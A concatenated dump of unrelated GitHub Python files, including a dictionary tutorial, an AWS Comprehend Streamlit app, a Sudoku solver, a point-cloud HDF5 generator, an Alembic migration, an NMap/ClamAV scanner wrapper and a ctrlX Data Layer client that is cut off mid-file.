+{"seq_id":"17918906227","text":"#取得字典的資料:利用for+item()\n#字典是一個無序的資料結構,Python只關注鍵-值配對而不關注元素順序\nservants = {\n 'Emiya': 'Archer',\n 'Mash': 'Sheilder',\n 'Artoria': 'Saber',\n 'Osakabehime': 'Assassin',\n 'Jalter': 'Avenger' }\n\nfor name, ser_class in servants.items():\n print(\"\\n從者: \", name)\n print(\"職階: \", ser_class)\n\n#如果只想要keys或value,可以這樣做\nfor name in servants.keys():\n print(\"\\n從者: \", name)\n\nfor ser_class in servants.values():\n print(\"職階: \", ser_class)\n \n#基本上字典是不能也不會去排序的,但在輸出結果時可以\nfor name in sorted(servants.keys()):\n print(name)\n\n#字典串列\nservant0 = {'name':'Emiya', 'class':'Archer', 'HP':80}\nservant1 = {'name':'Mash', 'class':'Sheilder', 'HP':120}\nservant2 = {'name':'Jalter', 'class':'Avenger', 'HP':76}\nteam = [servant0, servant1, servant2]\nfor servant in team:\n print(servant)\n\n#利用for迴圈宣告字典串列\nenemy = []\n\nfor i in range(50): #建立50個元素\n monster = {'name':'怪物', 'class':'Saber', 'HP':50}\n enemy.append(monster)\n\nfor monster in enemy[:3]:\n print(monster)\n\nprint(\"怪物數量 = \", len(enemy))\n\n#字典元素內含串列\nsports = {\n 'Curry': ['籃球', '美式足球'],\n 'Durant':['棒球'],\n 'James':['美式足球', '棒球', '籃球'] }\n\nfor name, favorite_sport in sports.items():\n print(\"%s 喜歡的運動是: \" % name)\n for sport in favorite_sport:\n print(sport)\n\n#字典內含字典,此事字典是字典某個\"鍵\"的\"值\"\nservant_data = {\n 'Chole': {\n 'Buster':1,\n 'Art':2,\n 'Quick':2\n },\n 'Illiya':{\n 'Buster':1,\n 'Art':3,\n 'Quick':1\n }\n }\n\nfor name, card in servant_data.items():\n print(\"從者名子: \", name)\n print(\"Buster卡數: \", card['Buster'])\n print(\"Art卡數: \", card['Art'])\n print(\"Quick卡數: \", card['Quick'])\n\n#while迴圈在字典上的應用\nsurvey_dict = {} #建立空字典\nflag = True #判斷迴圈是否結束\n\nwhile flag:\n name = input(\"請輸入姓名: \")\n travel_location = input(\"夢幻旅遊景點: \")\n\n survey_dict[name] = travel_location\n repeat = input(\"是否有人要參加市場調查?(y/n)\")\n if repeat != 'y':\n flag = False\n\nprint(\"\\n\\n以下是市場調查結果\")\nfor user, location in survey_dict.items():\n print(user, \"夢幻旅遊景點: \", location)\n\n#最後順便一提,Pythin跟VB一樣式強制你要縮排的程式語言,但只要縮排在同一層\n#即使中間有空行都還能執行\n \n","repo_name":"BennyNTHU/Python","sub_path":"Ch9字典/迴圈,字典與串列.py","file_name":"迴圈,字典與串列.py","file_ext":"py","file_size_in_byte":2588,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"47"} +{"seq_id":"21052266575","text":"import streamlit as st\nimport boto3\nimport pandas as pd\nimport plotly.express as px\nfrom PyPDF2 import PdfReader\n\n# AWSの認証情報を設定する\nsession = boto3.Session(\n #aws_access_key_id=\"AWS_ACCESS_KEY_ID\",\n #aws_secret_access_key=\"AWS_SECRET_ACCESS_KEY\",\n region_name=\"ap-northeast-1\"\n)\n\n# Comprehendクライアントを作成する\ncomprehend = session.client(\"comprehend\")\n\n# ファイルからテキストデータを取得する関数\ndef get_text_from_pdf(file):\n pdf_reader = PdfReader(file)\n # ページ数の取得\n num_pages = len(pdf_reader.pages)\n text = \"\"\n # ページごとにテキストを抽出して表示\n for page in range(num_pages):\n pdf_page = pdf_reader.pages[page]\n page_text = pdf_page.extract_text()\n text += page_text\n return text\n\n# テキストデータをキーワード解析して、出現頻度を計算する関数\ndef analyze_text(text):\n response = comprehend.detect_key_phrases(Text=text, LanguageCode=\"ja\")\n keywords = [kp[\"Text\"] for kp in response[\"KeyPhrases\"]]\n freq = pd.Series(keywords).value_counts().reset_index()\n freq.columns = [\"keyword\", \"count\"]\n return freq\n\n# テキストデータを感情分析する関数\ndef analyze_sentiment(text):\n response = comprehend.detect_sentiment(Text=text, LanguageCode=\"ja\")\n sentiment = response[\"Sentiment\"]\n return sentiment\n\n# Streamlitアプリケーションの設定\nst.set_page_config(page_title=\"Comprehend Analyzer\", page_icon=\":sunglasses:\")\n\nst.title(\"Comprehend Analyzer\")\n\n# PDFファイルのアップロード\nfile = st.file_uploader(\"PDFファイルをアップロードしてください\", type=['pdf'])\n\nif file is not None:\n # ファイルからテキストデータを取得\n text = get_text_from_pdf(file)\n\n # キーワード解析して出現頻度を計算\n freq = analyze_text(text)\n\n # 感情分析を実行\n sentiment = analyze_sentiment(text)\n # 結果を表示\n #st.write(\"キーワードの出現頻度：\")\n #st.write(freq)\n\n st.write(\"感情分析の結果：\", sentiment)\n\n # グラフを表示\n fig1 = px.bar(freq, x=\"keyword\", y=\"count\", title=\"Keyword Frequency\")\n st.plotly_chart(fig1)\n\n #例えば文章毎にセンチメント出してパイチャートで出すのも面白いかもしれない\n # fig2 = px.pie(values=[1, 0, 0, 0, 0], names=[\"Positive\", \"Negative\", \"Neutral\", \"Mixed\", \"Error\"], title=\"Sentiment Analysis\")\n # fig2.update_traces(values=[int(sentiment == \"POSITIVE\"), int(sentiment == \"NEGATIVE\"), int(sentiment == \"NEUTRAL\"), int(sentiment == \"MIXED\"), int(sentiment == \"ERROR\")])\n # st.plotly_chart(fig2)\n\n\n st.write(text)","repo_name":"team-NIC-DC/document_analyzer","sub_path":"document_analyzer.py","file_name":"document_analyzer.py","file_ext":"py","file_size_in_byte":2708,"program_lang":"python","lang":"ja","doc_type":"code","stars":1,"dataset":"github-code","pt":"47"} +{"seq_id":"18697938372","text":"from sys import stdin,stdout\nfrom collections import deque\nst=lambda:list(stdin.readline().strip())\nli=lambda:list(map(int,stdin.readline().split()))\nmp=lambda:map(int,stdin.readline().split())\ninp=lambda:int(stdin.readline())\npr=lambda n: stdout.write(str(n)+\"\\n\")\n\nmod=1000000007\nINF=float('inf')\n\n\ndef solve():\n\n n,k=mp()\n l=li()\n ans=0\n for i in range(k):\n x=[] \n for j in range(i,n,k):\n x.append(l[j])\n a=x.count(1)\n b=len(x)-a\n ans+= min(a,b)\n pr(ans)\n \nfor _ in range(1):\n\n solve()\n","repo_name":"aadiupadhyay/CodeForces","sub_path":"codeforces/371/A.py","file_name":"A.py","file_ext":"py","file_size_in_byte":568,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"47"} +{"seq_id":"74224944141","text":"import logging\nimport os\n\nfrom common import utils\nfrom django.db import models\nfrom django.utils.translation import gettext_lazy as _\n\nfrom .location import Location\n\nLOGGER = logging.getLogger(__name__)\n\n\nclass OfflineReplicaStaging(models.Model):\n \"\"\"Space for storing packages for write-only offline replication.\n\n Uncompressed packages in this Space will be packaged as a tarball\n prior to storing.\n \"\"\"\n\n packaged_space = True\n\n space = models.OneToOneField(\"Space\", to_field=\"uuid\", on_delete=models.CASCADE)\n\n class Meta:\n verbose_name = _(\"Write-Only Replica Staging on Local Filesystem\")\n app_label = _(\"locations\")\n\n ALLOWED_LOCATION_PURPOSE = [Location.REPLICATOR]\n\n def browse(self, path):\n raise NotImplementedError(\n _(\"Write-Only Offline Staging does not implement browse\")\n )\n\n def delete_path(self, delete_path):\n raise NotImplementedError(\n _(\"Write-Only Offline Staging does not implement deletion\")\n )\n\n def move_to_storage_service(self, src_path, dest_path, dest_space):\n \"\"\"Moves src_path to dest_space.staging_path/dest_path.\"\"\"\n raise NotImplementedError(\n _(\"Write-Only Offline Staging does not implement fetching packages\")\n )\n\n def move_from_storage_service(\n self, src_path, dest_path, package=None, flat_output=True\n ):\n \"\"\"Moves self.staging_path/src_path to dest_path.\n\n If flat_output is True, store the replica directly in the Replicator\n Location, rather than in quad directories.\n \"\"\"\n if flat_output:\n dest_path = utils.strip_quad_dirs_from_path(dest_path)\n self.space.create_local_directory(dest_path)\n if not package.is_packaged(src_path):\n return self._store_tar_replica(src_path, dest_path, package)\n self.space.move_rsync(src_path, dest_path, try_mv_local=True)\n package.current_path = dest_path\n\n staging_quad_dirs = os.path.relpath(\n os.path.dirname(src_path), self.space.staging_path\n )\n utils.removedirs(staging_quad_dirs, base=self.space.staging_path)\n\n def _store_tar_replica(self, src_path, dest_path, package):\n \"\"\"Create and store TAR replica.\"\"\"\n tar_src_path = src_path.rstrip(\"/\") + utils.TAR_EXTENSION\n tar_dest_path = dest_path.rstrip(\"/\") + utils.TAR_EXTENSION\n try:\n utils.create_tar(src_path, extension=True)\n except utils.TARException:\n raise\n package.current_path = tar_dest_path\n self.space.move_rsync(tar_src_path, tar_dest_path)\n\n staging_quad_dirs = os.path.relpath(\n os.path.dirname(tar_src_path), self.space.staging_path\n )\n\n # Cleanup tar in staging directory.\n try:\n os.remove(tar_src_path)\n except OSError as err:\n LOGGER.warning(f\"Unable to delete staged replica {tar_src_path}: {err}\")\n\n # Cleanup quaddirs in staging directory.\n utils.removedirs(staging_quad_dirs, base=self.space.staging_path)\n\n # Cleanup empty directory created by space.create_local_directory.\n try:\n os.rmdir(dest_path)\n except OSError as err:\n LOGGER.warning(\n \"Unable to cleanup expected temporary artefact {}: {}\".format(\n dest_path, err\n )\n )\n","repo_name":"artefactual/archivematica-storage-service","sub_path":"storage_service/locations/models/replica_staging.py","file_name":"replica_staging.py","file_ext":"py","file_size_in_byte":3409,"program_lang":"python","lang":"en","doc_type":"code","stars":31,"dataset":"github-code","pt":"47"} +{"seq_id":"22937493895","text":"import numpy as np\n\nfrom itertools import product\n\n\nclass Solver:\n def __init__(self):\n pass\n\n def solve_sudoku(self, size, grid):\n R, C = size\n N = R * C\n X = (\n [(\"rc\", rc) for rc in product(range(N), range(N))]\n + [(\"rn\", rn) for rn in product(range(N), range(1, N + 1))]\n + [(\"cn\", cn) for cn in product(range(N), range(1, N + 1))]\n + [(\"bn\", bn) for bn in product(range(N), range(1, N + 1))]\n )\n Y = dict()\n for r, c, n in product(range(N), range(N), range(1, N + 1)):\n b = (r // R) * R + (c // C)\n Y[(r, c, n)] = [\n (\"rc\", (r, c)),\n (\"rn\", (r, n)),\n (\"cn\", (c, n)),\n (\"bn\", (b, n)),\n ]\n X, Y = self.exact_cover(X, Y)\n for i, row in enumerate(grid):\n for j, n in enumerate(row):\n if n:\n self.select(X, Y, (i, j, n))\n for solution in self.solve(X, Y, []):\n for (r, c, n) in solution:\n grid[r][c] = n\n yield grid\n\n def exact_cover(self, X, Y):\n X = {j: set() for j in X}\n for i, row in Y.items():\n for j in row:\n X[j].add(i)\n return X, Y\n\n def solve(self, X, Y, solution):\n if not X:\n yield list(solution)\n else:\n c = min(X, key=lambda c: len(X[c]))\n for r in list(X[c]):\n solution.append(r)\n cols = self.select(X, Y, r)\n for s in self.solve(X, Y, solution):\n yield s\n self.deselect(X, Y, r, cols)\n solution.pop()\n\n def select(self, X, Y, r):\n cols = []\n for j in Y[r]:\n for i in X[j]:\n for k in Y[i]:\n if k != j:\n X[k].remove(i)\n cols.append(X.pop(j))\n return cols\n\n def deselect(self, X, Y, r, cols):\n for j in reversed(Y[r]):\n X[j] = cols.pop()\n for i in X[j]:\n for k in Y[i]:\n if k != j:\n X[k].add(i)\n\n def solve_wrapper(self, arr):\n try:\n ans = np.array(\n list(self.solve_sudoku(size=(3, 3), grid=arr))[0], dtype=np.uint8\n )\n return ans\n except:\n return None\n\n\nclass Validator:\n def __init__(self):\n pass\n\n def not_in_row(self, arr, row):\n\n st = set()\n for i in range(0, 9):\n if arr[row][i] in st:\n return False\n if arr[row][i] != 0:\n st.add(arr[row][i])\n return True\n\n def not_in_col(self, arr, col):\n\n st = set()\n for i in range(0, 9):\n if arr[i][col] in st:\n return False\n if arr[i][col] != 0:\n st.add(arr[i][col])\n return True\n\n def not_in_box(self, arr, startRow, startCol):\n\n st = set()\n for row in range(0, 3):\n for col in range(0, 3):\n curr = arr[row + startRow][col + startCol]\n if curr in st:\n return False\n if curr != 0:\n st.add(curr)\n return True\n\n def is_valid_number(self, arr, row, col):\n\n return (\n self.not_in_row(arr, row)\n and self.not_in_col(arr, col)\n and self.not_in_box(arr, row - row % 3, col - col % 3)\n )\n\n def is_valid_board(self, arr):\n\n for i in range(0, 9):\n for j in range(0, 9):\n if not self.is_valid_number(arr, i, j):\n return False\n return True\n","repo_name":"saimaduri/sudoku","sub_path":"sudoku.py","file_name":"sudoku.py","file_ext":"py","file_size_in_byte":3736,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"22558185069","text":"from scanners import NMapScanner, ClamAVScanner\nfrom database import ScanResultsBase, ResultsBase, Database\nfrom datetime import datetime\n\n\nclass AgentBasedScanner:\n def __init__(self):\n self.nmapScanner = NMapScanner()\n self.clamavScanner = ClamAVScanner()\n self.havocScanner = None\n self.db = Database()\n\n def scan(self):\n # Start NMap Scan\n nmapScanResponse = self.nmapScanner.scan()\n\n # Start ClamAV Scan\n print(self.clamavScanner.ping())\n print(self.clamavScanner.reload())\n # self.clamavScanner.scan_directory()\n\n def save_scan_results(self):\n # Save the scan results to a file\n nmap_results = self.nmapScanner.get_scan_results()\n # clamav_results = self.clamavScanner.get_scan_results()\n\n results = ResultsBase(\n nmap_results=nmap_results,\n clamav_results=None,\n havoc_results=None\n )\n\n scanId = self.db.fetch_scan_count() + 1\n\n scanData = ScanResultsBase(\n scan_id=scanId, scan_time=datetime.now(), results=results)\n\n response = self.db.create_scan_result(scanData)\n print(response)\n\n\ndef main():\n agentScanner = AgentBasedScanner()\n agentScanner.scan()\n agentScanner.save_scan_results()\n\n\nif __name__ == '__main__':\n main()\n","repo_name":"shubhayu-64/dast-scanner","sub_path":"Agent_based/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1331,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"47"} +{"seq_id":"22056400608","text":"import json\nimport math\nimport numpy as np\nimport cv2\nimport os\nimport tensorflow as tf\nfrom tf_ops.sampling.tf_sampling import gather_point, farthest_point_sample\nimport h5py\nimport time\n\n# from show3d_balls import showpoints\n\nclass H5DataGenerator(object):\n def __init__(self, params_file_name, target_num_point = 16384):\n '''\n Input:\n params_file_name: path of parameter file (\"parameter.json\")\n target_num_point: target number of sampled points, default is 16384\n '''\n self.params = self._load_parameters(params_file_name)\n self.target_num_point = target_num_point\n\n # for fps\n with tf.device('/gpu:0'):\n self.input_point_pl = tf.placeholder(tf.float32, shape=(1, None, 3))\n self.sampled_idx_op = farthest_point_sample(16384,self.input_point_pl)\n # Create a session\n config = tf.ConfigProto()\n config.gpu_options.allow_growth = True\n config.allow_soft_placement = True\n config.log_device_placement = False\n self.sess = tf.Session(config=config)\n\n def process_train_set(self, depth_img, bg_depth_img, segment_img, gt_file_path, output_file_path, xyz_limit=None, verbose=True):\n '''\n Input:\n depth_img: np array of depth image, dtype is uint16\n bg_depth_img: np array of background depth image, dtype is uint16\n segment_img: np array of segment image, dtype is uint8\n gt_file_path: str\n output_file_path: str, output h5 path\n xyz_limit: None if no limit for xyz. Typical [ [xmin, xmax], [ymin, ymax], [zmin, zmax] ]\n verbose: whether to display logging info\n '''\n if verbose:\n start_time = time.time()\n # step 1: check and parse input\n assert depth_img.shape == (self.params['resolutionY'], self.params['resolutionX']) and depth_img.dtype == np.uint16\n assert bg_depth_img.shape == depth_img.shape and bg_depth_img.dtype == np.uint16\n assert segment_img.shape == depth_img.shape and segment_img.dtype == np.uint8\n label_trans, label_rot, label_vs = self._read_label_csv(gt_file_path)\n\n # step 2: convet foregroud pixel to 3d points, and extract its object ids\n ys, xs = np.where(depth_img != bg_depth_img)\n zs = depth_img[ys, xs]\n obj_ids = segment_img[ys, xs]\n ys = ys + self.params['pixelOffset_Y_KoSyTopLeft']\n xs = xs + self.params['pixelOffset_X_KoSyTopLeft']\n points = self._depth_to_pointcloud_optimized(xs, ys, zs, to_mm=False, xyz_limit=xyz_limit)\n\n # step 3: sample or pad to target_num_point\n # if len(points) <= target_num_point, pad to target_num_point\n num_pnt = points.shape[0]\n if num_pnt == 0:\n print('No foreground points!!!!!')\n return\n if num_pnt <= self.target_num_point:\n t = int(1.0 * self.target_num_point / num_pnt) + 1\n points_tile = np.tile(points, [t, 1])\n points = points_tile[:self.target_num_point]\n obj_ids_tile = np.tile(obj_ids, [t])\n obj_ids = obj_ids_tile[:self.target_num_point]\n # if len(points) > target_num_point, using fps to sample to target_num_point\n if num_pnt > self.target_num_point:\n sampled_idx = self.sess.run(self.sampled_idx_op, feed_dict={self.input_point_pl: points.reshape([1, -1, 3])})\n sampled_idx = sampled_idx.reshape([-1])\n # showpoints(points, ballradius=3)\n points = points[sampled_idx]\n # showpoints(points, ballradius=3)\n obj_ids = obj_ids[sampled_idx]\n\n # step 4: collect labels\n obj_ids[np.where(obj_ids>len(label_trans))] = 0\n label_trans = label_trans[obj_ids]\n label_rot = label_rot[obj_ids]\n label_vs = label_vs[obj_ids]\n # reset background points translation label\n bg_ids = np.where(obj_ids==0)[0]\n num_bg_pnt = len(bg_ids)\n label_trans[bg_ids] = points[bg_ids]\n labels = np.concatenate( [label_trans, label_rot, label_vs.reshape([-1, 1]), obj_ids.reshape([-1, 1])], axis=-1 )\n assert points.shape == (self.target_num_point, 3) and labels.shape == (self.target_num_point, 14)\n\n # step 5: save as h5 file\n if not os.path.exists(output_file_path):\n with h5py.File(output_file_path) as f:\n f['data'] = points\n f['labels'] = labels\n if verbose:\n t = time.time() - start_time\n print('Successfully write to %s in %f seconds.' % (output_file_path, t))\n print('Foreground point number: %d\\t Background point number: %d' % (num_pnt, num_bg_pnt))\n if num_pnt < self.target_num_point:\n print('Waring: not enough points, padded to target number')\n if num_bg_pnt > 0:\n print('Waring: contains background points')\n\n def process_test_set(self, depth_img, bg_depth_img, output_file_path, xyz_limit=None, verbose=True):\n '''\n Input:\n depth_img: np array of depth image, dtype is uint16\n bg_depth_img: np array of background depth image, dtype is uint16\n output_file_path: str, output h5 path\n xyz_limit: None if no limit for xyz. Typical [ [xmin, xmax], [ymin, ymax], [zmin, zmax] ]\n verbose: whether to display logging info\n '''\n if verbose:\n start_time = time.time()\n # step 1: check and parse input\n assert depth_img.shape == (self.params['resolutionY'], self.params['resolutionX']) and depth_img.dtype == np.uint16\n assert bg_depth_img.shape == depth_img.shape and bg_depth_img.dtype == np.uint16\n\n # step 2: convet foregroud pixel to 3d points, and extract its object ids\n ys, xs = np.where(depth_img != bg_depth_img)\n zs = depth_img[ys, xs]\n ys = ys + self.params['pixelOffset_Y_KoSyTopLeft']\n xs = xs + self.params['pixelOffset_X_KoSyTopLeft']\n points = self._depth_to_pointcloud_optimized(xs, ys, zs, to_mm=False, xyz_limit=xyz_limit)\n\n # step 3: sample or pad to target_num_point\n # if len(points) <= target_num_point, pad to target_num_point\n num_pnt = points.shape[0]\n if num_pnt == 0:\n print('No foreground points!!!!!')\n return\n if num_pnt <= self.target_num_point:\n t = int(1.0 * self.target_num_point / num_pnt) + 1\n points_tile = np.tile(points, [t, 1])\n points = points_tile[:self.target_num_point]\n # if len(points) > target_num_point, using fps to sample to target_num_point\n if num_pnt > self.target_num_point:\n sampled_idx = self.sess.run(self.sampled_idx_op, feed_dict={self.input_point_pl: points.reshape([1, -1, 3])})\n sampled_idx = sampled_idx.reshape([-1])\n points = points[sampled_idx]\n\n # step 4: save as h5 file\n if not os.path.exists(output_file_path):\n with h5py.File(output_file_path) as f:\n f['data'] = points\n if verbose:\n t = time.time() - start_time\n print('Successfully write to %s in %f seconds.' % (output_file_path, t))\n print('Foreground point number: %d' % num_pnt)\n if num_pnt < self.target_num_point:\n print('Waring: not enough points, padded to target number')\n\n def _depth_to_pointcloud_optimized(self, us, vs, zs, to_mm = False, xyz_limit=None):\n '''\n Input:\n us: np array of u coordinate\n vs: np array of v coordinate\n zs: np array of z coordinate\n to_mm: *1000.0 if True\n xyz_limit: None if no limit for xyz. Typical [ [xmin, xmax], [ymin, ymax], [zmin, zmax] ]\n '''\n assert len(us) == len(vs) == len(zs)\n camera_info = self.params\n fx = camera_info['fu']\n fy = camera_info['fv']\n cx = camera_info['cu']\n cy = camera_info['cv']\n clip_start = camera_info['clip_start']\n clip_end = camera_info['clip_end']\n\n Zcs = (clip_start + (zs/float(camera_info['max_val_in_depth'])) * (clip_end - clip_start))\n if to_mm:\n Zcs *= 1000\n Xcs = -(us - cx) * Zcs / fx\n Ycs = -(vs - cy) * Zcs / fy\n Xcs = np.reshape(Xcs, (-1, 1))\n Ycs = np.reshape(Ycs, (-1, 1))\n Zcs = np.reshape(Zcs, (-1, 1))\n points = np.concatenate([Xcs, Ycs, Zcs], axis=-1)\n\n if xyz_limit is not None:\n if xyz_limit[0] is not None:\n xmin, xmax = xyz_limit[0]\n if xmin is not None:\n idx = np.where( points[:, 0]>xmin )\n points = points[idx]\n if xmax is not None:\n idx = np.where( points[:, 0]ymin )\n points = points[idx]\n if ymax is not None:\n idx = np.where( points[:, 1]zmin )\n points = points[idx]\n if zmax is not None:\n idx = np.where( points[:, 2] 0:\n label_trans.append( list(map(float, words[2:5])) )\n R = np.array(list(map(float, words[5:14]))).reshape((3,3)).T.reshape(-1)\n label_rot.append( R )\n label_vs.append( float(words[-1]) )\n\n label_trans = np.array(label_trans)\n label_rot = np.array(label_rot)\n label_vs = np.array(label_vs)\n assert label_trans.shape == (num_obj+1,3) and label_rot.shape == (num_obj+1,9) and label_vs.shape == (num_obj+1,) \n return label_trans, label_rot, label_vs\n","repo_name":"lvwj19/PPR-Net-plus","sub_path":"convert_to_pointcloud/bunny/H5DataGenerator.py","file_name":"H5DataGenerator.py","file_ext":"py","file_size_in_byte":11936,"program_lang":"python","lang":"en","doc_type":"code","stars":31,"dataset":"github-code","pt":"47"} +{"seq_id":"70994280783","text":"\"\"\"create items table\n\nRevision ID: d1684241010b\nRevises:\nCreate Date: 2021-06-27 17:21:08.154741\n\n\"\"\"\nimport sqlalchemy as sa\n\nfrom alembic import op\n\n# revision identifiers, used by Alembic.\nrevision = \"d1684241010b\"\ndown_revision = None\nbranch_labels = None\ndepends_on = None\n\n\ndef upgrade():\n op.create_table(\n \"items\",\n sa.Column(\"id\", sa.Integer, primary_key=True),\n sa.Column(\"name\", sa.String(64), nullable=False),\n sa.Column(\"description\", sa.Unicode(), nullable=False),\n sa.Column(\"price\", sa.Numeric(), nullable=False),\n sa.Column(\"is_offer\", sa.Boolean(), nullable=False),\n )\n\n\ndef downgrade():\n op.drop_table(\"items\")\n","repo_name":"cjwright83/fasty","sub_path":"alembic/versions/d1684241010b_create_items_table.py","file_name":"d1684241010b_create_items_table.py","file_ext":"py","file_size_in_byte":682,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"47"} +{"seq_id":"25703300937","text":"import logging\nimport time\n\nfrom comm.datalayer import Metadata\n\nimport ctrlxdatalayer\nfrom ctrlxdatalayer.client import Client\nfrom ctrlxdatalayer.variant import Result, Variant, VariantType\n\nroot_node = \"sdk-cpp-alldata\"\n\n\nclass CallDataLayerClient:\n \"\"\"CallDataLayerClient\n \"\"\"\n\n def __init__(self, client: Client) -> None:\n \"\"\"__init__\n \"\"\"\n self.client = client\n self.waiting_for = \"\"\n logging.basicConfig(format='%(asctime)s %(levelname)-8s %(message)s',\n level=logging.INFO, datefmt='%H:%M:%S.%03d')\n\n def __enter__(self):\n \"\"\"\n use the python context manager\n \"\"\"\n return self\n\n def __exit__(self, exc_type, exc_val, exc_tb):\n \"\"\"\n use the python context manager\n \"\"\"\n self.client = None\n\n def run(self):\n \"\"\"run\n \"\"\"\n self.auth_token()\n self.ping()\n self.read()\n self.create()\n self.remove()\n self.browse()\n self.write()\n self.metadata()\n\n def wait_for_async_callback(self, result: Result):\n \"\"\"wait_for_async_callback\n \"\"\"\n if result != Result.OK:\n return\n\n count = 0\n while count < 5:\n if self.waiting_for is None:\n return\n\n if count > 0:\n logging.debug('Waiting for %s %ss', self.waiting_for)\n\n count = count + 1\n time.sleep(1.0)\n\n logging.error(\"%s TIME OUT\", self.waiting_for)\n\n def log_result(self, msg: str, result: Result):\n \"\"\"log_result\n \"\"\"\n if result == Result.OK:\n logging.debug('%s --> %s', msg, result)\n return\n logging.error('%s failed with: %s', msg, result)\n\n def auth_token(self):\n \"\"\"auth_token\n \"\"\"\n logging.info(\"get_auth_token()\")\n the_auth_token = self.client.get_auth_token()\n if the_auth_token is None:\n self.log_result('get_auth_token()', Result.FAILED)\n return\n\n logging.debug(the_auth_token)\n\n logging.info(\"set_auth_token()\")\n self.client.set_auth_token(the_auth_token)\n\n def ping_async_callback(self, result: Result, data: Variant, userdata: ctrlxdatalayer.clib.userData_c_void_p):\n \"\"\"ping_async_callback\n \"\"\"\n self.waiting_for = None\n logging.info(\">>>ping_async_callback: %s\", result)\n\n def ping(self):\n \"\"\"ping\n \"\"\"\n self.waiting_for = \"ping_async_callback\"\n logging.info(\"ping_async()\")\n result = self.client.ping_async(self.ping_async_callback, 105)\n self.log_result('ping_async()', result)\n self.wait_for_async_callback(result)\n\n logging.info(\"ping_sync()\")\n result = self.client.ping_sync()\n self.log_result('ping_sync()', result)\n\n def read_async_callback(self, result: Result, data: Variant, userdata: ctrlxdatalayer.clib.userData_c_void_p):\n \"\"\"read_async_callback\n \"\"\"\n self.waiting_for = None\n self.log_result(\">>>read_async_callback(): \", result)\n self.print_data(\">>>read_async_callback(): \", result, \"\", data)\n\n def read_sync(self, node: str):\n \"\"\"read_sync\n \"\"\"\n addressBase = root_node + \"/static/\"\n address = addressBase + node\n\n logging.info(\"read_async() %s\", address)\n result, data = self.client.read_sync(address)\n with data:\n self.log_result(\"read_sync() \" + address, result)\n\n self.print_data(\"read_async()\", result, address, data)\n\n def print_data(self, msg: str, result: Result, address: str, data: Variant):\n \"\"\"print_data\n \"\"\"\n if result != Result.OK:\n return\n\n print(msg, address, result, \" \", end='', flush=True)\n\n if data.get_type() == VariantType.ARRAY_BOOL8:\n print(data.get_array_bool8(), flush=True)\n return\n\n if data.get_type() == VariantType.ARRAY_FLOAT32:\n print(data.get_array_float32(), flush=True)\n return\n\n if data.get_type() == VariantType.ARRAY_FLOAT64:\n print(data.get_array_float64(), flush=True)\n return\n\n if data.get_type() == VariantType.ARRAY_INT16:\n print(data.get_array_int16(), flush=True)\n return\n\n if data.get_type() == VariantType.ARRAY_INT32:\n print(data.get_array_int32(), flush=True)\n return\n\n if data.get_type() == VariantType.ARRAY_INT64:\n print(data.get_array_int64(), flush=True)\n return\n\n if data.get_type() == VariantType.ARRAY_INT8:\n print(data.get_array_int8(), flush=True)\n return\n\n if data.get_type() == VariantType.ARRAY_STRING:\n print(data.get_array_bool8(), flush=True)\n return\n\n if data.get_type() == VariantType.ARRAY_UINT16:\n print(data.get_array_uint16(), flush=True)\n return\n\n if data.get_type() == VariantType.ARRAY_UINT32:\n print(data.get_array_uint32(), flush=True)\n return\n\n if data.get_type() == VariantType.ARRAY_UINT64:\n print(data.get_array_uint64(), flush=True)\n return\n\n if data.get_type() == VariantType.ARRAY_UINT8:\n print(data.get_array_uint8(), flush=True)\n return\n\n if data.get_type() == VariantType.BOOL8:\n print(data.get_bool8(), flush=True)\n return\n\n if data.get_type() == VariantType.FLATBUFFERS:\n print(data.get_flatbuffers(), flush=True)\n return\n\n if data.get_type() == VariantType.FLOAT32:\n print(data.get_float32(), flush=True)\n return\n\n if data.get_type() == VariantType.FLOAT64:\n print(data.get_float64(), flush=True)\n return\n\n if data.get_type() == VariantType.INT16:\n print(data.get_int16(), flush=True)\n return\n\n if data.get_type() == VariantType.INT32:\n print(data.get_int32(), flush=True)\n return\n\n if data.get_type() == VariantType.INT64:\n print(data.get_int64(), flush=True)\n return\n\n if data.get_type() == VariantType.INT8:\n print(data.get_int8(), flush=True)\n return\n\n if data.get_type() == VariantType.STRING:\n print(data.get_string(), flush=True)\n return\n\n if data.get_type() == VariantType.UINT16:\n print(data.get_uint16(), flush=True)\n return\n\n if data.get_type() == VariantType.UINT32:\n print(data.get_uint32(), flush=True)\n return\n\n if data.get_type() == VariantType.UINT64:\n print(data.get_uint64(), flush=True)\n return\n\n if data.get_type() == VariantType.UINT8:\n print(data.get_uint8(), flush=True)\n return\n\n print(\"UNHANDLED ---------\", flush=True)\n\n def read(self):\n \"\"\"read\n \"\"\"\n addressBase = root_node + \"/static/\"\n\n address = addressBase + \"bool8\"\n self.waiting_for = \"read_async_callback\"\n logging.info(\"read_async() %s\", address)\n result = self.client.read_async(\n address, self.read_async_callback, 239)\n self.log_result(\"read_async() \" + address, result)\n self.wait_for_async_callback(result)\n\n self.read_sync(\"bool8\")\n\n self.read_sync(\"float32\")\n\n self.read_sync(\"float64\")\n\n self.read_sync(\"int8\")\n\n self.read_sync(\"int16\")\n\n self.read_sync(\"int32\")\n\n self.read_sync(\"int64\")\n\n self.read_sync(\"string\")\n\n self.read_sync(\"uint8\")\n\n self.read_sync(\"uint16\")\n\n self.read_sync(\"uint32\")\n\n self.read_sync(\"uint64\")\n\n self.read_sync(\"array-of-bool8\")\n\n self.read_sync(\"array-of-float32\")\n\n self.read_sync(\"array-of-float64\")\n\n self.read_sync(\"array-of-int8\")\n\n self.read_sync(\"array-of-int16\")\n\n self.read_sync(\"array-of-int32\")\n\n self.read_sync(\"array-of-int64\")\n\n self.read_sync(\"array-of-string\")\n\n self.read_sync(\"array-of-uint8\")\n\n self.read_sync(\"array-of-uint16\")\n\n self.read_sync(\"array-of-uint32\")\n\n self.read_sync(\"array-of-uint64\")\n\n def create_async_callback(self, result: Result, data: Variant, userdata: ctrlxdatalayer.clib.userData_c_void_p):\n \"\"\"create_async_callback\n \"\"\"\n self.waiting_for = None\n logging.info(\">>>create_async_callback(): %s %s %s\",\n result, data, userdata)\n\n def create_async(self, path, node, data: 